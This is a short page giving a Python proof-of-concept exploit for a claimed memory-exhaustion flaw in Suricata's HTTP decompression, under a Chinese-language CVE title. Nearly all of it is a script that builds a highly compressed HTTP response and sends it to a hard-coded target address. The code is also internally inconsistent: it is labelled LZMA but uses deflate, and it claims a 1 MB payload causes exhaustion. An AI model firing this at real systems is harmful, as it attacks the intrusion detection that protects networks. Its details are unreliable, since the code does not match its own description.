CVE-2025-64334 Suricata压缩HTTP数据解压内存耗尽漏洞

# CVE-2025-64334 PoC - Suricata LZMA Decompression Memory Exhaustion # This PoC demonstrates sending a malicious HTTP response with highly compressible data import socket import zlib import struct def create_malicious_http_response(): """ Create HTTP response with compressed data that expands significantly during decompression """ # Create data that compresses very well (repetitive pattern) # This will cause memory exhaustion during decompression original_data = b'A' * 1000000 # 1MB of repetitive data # Use zlib compression - creates small compressed data that expands significantly compressed_data = zlib.compress(original_data, 9) # Create HTTP response with compressed content http_response = b'HTTP/1.1 200 OK\r\n' http_response += b'Content-Encoding: deflate\r\n' http_response += b'Content-Length: ' + str(len(compressed_data)).encode() + b'\r\n' http_response += b'\r\n' http_response += compressed_data return http_response def exploit_suricata(target_ip, target_port=80): """ Send malicious HTTP response to trigger memory exhaustion in Suricata """ malicious_response = create_malicious_http_response() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(malicious_response) sock.close() print(f"Malicious HTTP response sent to {target_ip}:{target_port}") print(f"Compressed size: {len(zlib.compress(b'A' * 1000000))} bytes") print(f"Decompressed size: 1000000 bytes (100x expansion)") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Target Suricata instance target = "192.168.1.100" exploit_suricata(target)